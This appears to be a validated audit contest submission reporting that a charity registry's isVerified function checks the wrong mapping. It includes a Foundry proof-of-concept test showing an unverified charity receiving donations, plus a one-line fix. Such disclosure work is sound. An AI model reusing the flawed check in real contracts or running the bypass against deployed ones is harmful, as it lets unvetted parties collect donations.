GivingThanks

First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Charity verification can be Bypassed

Summary

Any registered charity can be verified without requiring admin verification due to an incorrect use of the isVerified function, bypassing the intended verification logic.

Vulnerability Details

In CharityRegistry, the isVerified function checks registeredCharities instead of verifiedCharities:

function isVerified(address charity) public view returns (bool) {
return registeredCharities[charity]; // Should check verifiedCharities
}
function registerCharity(address charity) public {
registeredCharities[charity] = true; //This makes isVerified to always return True for newly registered charities
}

The verifyCharity function exists but is effectively useless because isVerified checks the wrong mapping.

Impact

The incorrect verification check creates an issue that bypasses the Admin verification logic. Since any registered charity is automatically considered verified, newly registered charities can bypass the intended admin verification process and immediately start receiving donations. This defeats the entire purpose of having a verification system.

Proof Of Concept

The following Foundry code demonstrates that newly registered charities can bypass the verification logic and start receiving donations:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console2} from "forge-std/Test.sol";
import {CharityRegistry} from "../src/CharityRegistry.sol";
import {GivingThanks} from "../src/GivingThanks.sol";
contract AutoVerificationTest is Test {
CharityRegistry public charityRegistry;
GivingThanks public givingThanks;
function setUp() public {
charityRegistry = new CharityRegistry();
givingThanks = new GivingThanks(address(0));
givingThanks.updateRegistry(address(charityRegistry));
}
function testAutoVerification() public {
address maliciousCharity = address(0x1);
console2.log("Initial verification status:", charityRegistry.isVerified(maliciousCharity));
// Register charity without admin verification
vm.prank(maliciousCharity);
charityRegistry.registerCharity(maliciousCharity);
console2.log("Verification status after registration:", charityRegistry.isVerified(maliciousCharity));
// Demonstrate that donations work without admin verification
vm.deal(address(this), 1 ether);
givingThanks.donate{value: 1 ether}(maliciousCharity);
console2.log("Donation successful. Charity balance:", maliciousCharity.balance);
}
}

Run with forge test --match-test testAutoVerification -vv

Ran 1 test for test/testAutoVerification.t.sol:AutoVerificationTest
[PASS] testAutoVerification() (gas: 314640)
Logs:
+ Initial verification status: false
+ Verification status after registration: true
+ Donation successful. Charity balance: 1000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.94ms (7.41ms CPU time)
Ran 1 test suite in 135.63ms (7.94ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

  • Manual Review

  • Remix IDE

  • Foundry

Recommendations

Correct the isVerified function to check the proper mapping:

function isVerified(address charity) public view returns (bool) {
- return registeredCharities[charity];
+ return verifiedCharities[charity];
}

This ensures that only charities that have gone through the proper admin verification process can receive donations.

Updates

Lead Judging Commences

n0kto Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-isVerified-return-registered-charities

Likelyhood: High, the function returns registered charities instead of verified ones. Impact: High, Any charities can be registered by anyone and will be declared as verified by this function bypassing verification.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.